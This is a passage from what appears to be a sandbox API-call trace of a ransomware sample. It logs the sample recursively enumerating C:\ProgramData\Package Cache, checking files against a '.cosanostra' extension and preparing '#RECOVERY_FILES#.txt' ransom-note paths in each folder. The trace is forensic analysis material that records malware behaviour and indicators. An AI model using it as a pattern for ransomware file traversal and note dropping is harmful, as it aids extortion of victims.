lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.970] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\..") returned 85 [0081.970] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.970] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.970] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.970] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch") returned 88 [0081.970] lstrcmpW (lpString1="Patch", lpString2=".") returned 1 [0081.970] lstrcmpW (lpString1="Patch", lpString2="..") returned 1 [0081.970] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*") returned 90 [0081.970] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.971] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\.") returned 90 [0081.971] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.971] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.971] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\..") returned 91 [0081.971] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.971] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.971] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.971] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64") returned 92 [0081.971] lstrcmpW (lpString1="x64", lpString2=".") returned 1 [0081.971] lstrcmpW (lpString1="x64", lpString2="..") returned 1 [0081.972] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*") returned 94 [0081.972] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0081.972] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\.") returned 94 [0081.972] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.972] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.972] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\..") returned 95 [0081.972] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.972] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.972] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.972] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 121 [0081.972] StrStrIW (lpFirst="Windows6.1-KB2999226-x64.msu", lpSrch=".cosanostra") returned 0x0 [0081.972] lstrcmpW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.972] lstrcmpW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="_uninstalling_.png") returned 1 [0081.972] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 121 [0081.973] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\#RECOVERY_FILES#.txt") returned 113 [0081.973] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\#RECOVERY_FILES#.txt") returned 113 [0081.973] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\#RECOVERY_FILES#.txt") returned 109 [0081.973] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\#RECOVERY_FILES#.txt") returned 109 [0081.973] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\#RECOVERY_FILES#.txt") returned 103 [0081.973] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\#RECOVERY_FILES#.txt") returned 103 [0081.974] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\#RECOVERY_FILES#.txt") returned 94 [0081.974] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\#RECOVERY_FILES#.txt") returned 94 [0081.974] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D") returned 73 [0081.974] lstrcmpW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2=".") returned 1 [0081.974] lstrcmpW (lpString1="54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpString2="..") returned 1 [0081.974] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*") returned 75 [0081.974] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.975] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\.") returned 75 [0081.975] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.975] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.975] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\..") returned 76 [0081.975] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.975] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.975] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.975] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned 82 [0081.975] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0081.975] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0081.976] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*") returned 84 [0081.976] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0081.976] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\.") returned 84 [0081.976] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.976] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.976] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\..") returned 85 [0081.976] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.976] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.976] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0081.977] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned 88 [0081.977] lstrcmpW (lpString1="Patch", lpString2=".") returned 1 [0081.977] lstrcmpW (lpString1="Patch", lpString2="..") returned 1 [0081.978] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*") returned 90 [0081.978] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0081.978] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\.") returned 90 [0081.978] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.978] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.979] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\..") returned 91 [0081.979] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.979] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.979] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0081.979] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64") returned 92 [0081.979] lstrcmpW (lpString1="x64", lpString2=".") returned 1 [0081.979] lstrcmpW (lpString1="x64", lpString2="..") returned 1 [0081.980] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*") returned 94 [0081.980] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*", lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 0x25a8b0 [0081.980] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\.") returned 94 [0081.980] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.980] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.980] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\..") returned 95 [0081.980] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.980] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.980] FindNextFileW (in: hFindFile=0x25a8b0, lpFindFileData=0x2cfe4c8 | out: lpFindFileData=0x2cfe4c8) returned 1 [0081.980] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 121 [0081.980] StrStrIW (lpFirst="Windows6.1-KB2999226-x64.msu", lpSrch=".cosanostra") returned 0x0 [0081.980] lstrcmpW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="#RECOVERY_FILES#.txt") returned 1 [0081.980] lstrcmpW (lpString1="Windows6.1-KB2999226-x64.msu", lpString2="_uninstalling_.png") returned 1 [0081.980] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu") returned 121 [0081.980] wnsprintfW (in: pszDest=0x2d6c88, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\#RECOVERY_FILES#.txt") returned 113 [0081.980] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\#RECOVERY_FILES#.txt") returned 113 [0081.980] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\#RECOVERY_FILES#.txt") returned 109 [0081.980] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\#RECOVERY_FILES#.txt") returned 109 [0081.981] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\#RECOVERY_FILES#.txt") returned 103 [0081.981] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\#RECOVERY_FILES#.txt") returned 103 [0081.982] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\#RECOVERY_FILES#.txt") returned 94 [0081.982] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\#RECOVERY_FILES#.txt") returned 94 [0081.982] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 82 [0081.982] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2=".") returned 1 [0081.982] lstrcmpW (lpString1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", lpString2="..") returned 1 [0081.982] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned 84 [0081.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0081.983] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\.") returned 84 [0081.983] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0081.983] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.983] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\..") returned 85 [0081.983] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0081.983] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0081.983] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0081.983] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned 91 [0081.983] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0081.983] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0081.984] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned 93 [0081.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 0x25a830 [0082.053] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\.") returned 93 [0082.054] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.054] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.054] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\..") returned 94 [0082.054] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.054] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.054] FindNextFileW (in: hFindFile=0x25a830, lpFindFileData=0x2cfec08 | out: lpFindFileData=0x2cfec08) returned 1 [0082.054] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned 112 [0082.054] lstrcmpW (lpString1="vcRuntimeMinimum_x86", lpString2=".") returned 1 [0082.054] lstrcmpW (lpString1="vcRuntimeMinimum_x86", lpString2="..") returned 1 [0082.054] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned 114 [0082.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 0x25a870 [0082.055] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\.") returned 114 [0082.055] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.055] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.055] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\..") returned 115 [0082.055] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.055] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.055] FindNextFileW (in: hFindFile=0x25a870, lpFindFileData=0x2cfe868 | out: lpFindFileData=0x2cfe868) returned 1 [0082.055] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 121 [0082.055] StrStrIW (lpFirst="cab1.cab", lpSrch=".cosanostra") returned 0x0 [0082.055] lstrcmpW (lpString1="cab1.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.055] lstrcmpW (lpString1="cab1.cab", lpString2="_uninstalling_.png") returned 1 [0082.055] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 121 [0082.055] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 138 [0082.055] StrStrIW (lpFirst="vc_runtimeMinimum_x86.msi", lpSrch=".cosanostra") returned 0x0 [0082.055] lstrcmpW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.055] lstrcmpW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="_uninstalling_.png") returned 1 [0082.055] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned 138 [0082.055] wnsprintfW (in: pszDest=0x2a0168, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\#RECOVERY_FILES#.txt") returned 133 [0082.056] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\#RECOVERY_FILES#.txt") returned 133 [0082.056] wnsprintfW (in: pszDest=0x2c2dc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.056] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\#RECOVERY_FILES#.txt") returned 112 [0082.056] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\#RECOVERY_FILES#.txt") returned 103 [0082.056] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\#RECOVERY_FILES#.txt") returned 103 [0082.056] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 71 [0082.056] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2=".") returned 1 [0082.057] lstrcmpW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="..") returned 1 [0082.057] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*") returned 73 [0082.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a7f0 [0082.057] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\.") returned 73 [0082.057] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0082.057] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.057] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\..") returned 74 [0082.057] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0082.057] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0082.057] FindNextFileW (in: hFindFile=0x25a7f0, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0082.057] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned 81 [0082.057] StrStrIW (lpFirst="state.rsm", lpSrch=".cosanostra") returned 0x0 [0082.057] lstrcmpW (lpString1="state.rsm", lpString2="#RECOVERY_FILES#.txt") returned 1 [0082.057] lstrcmpW (lpString1="state.rsm", lpString2="_uninstalling_.png") returned 1 [0082.057] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm") returned 81 [0082.057] wnsprintfW (in: pszDest=0x28e120, cchDest=32767, pszFmt="%s\\%s" | out: 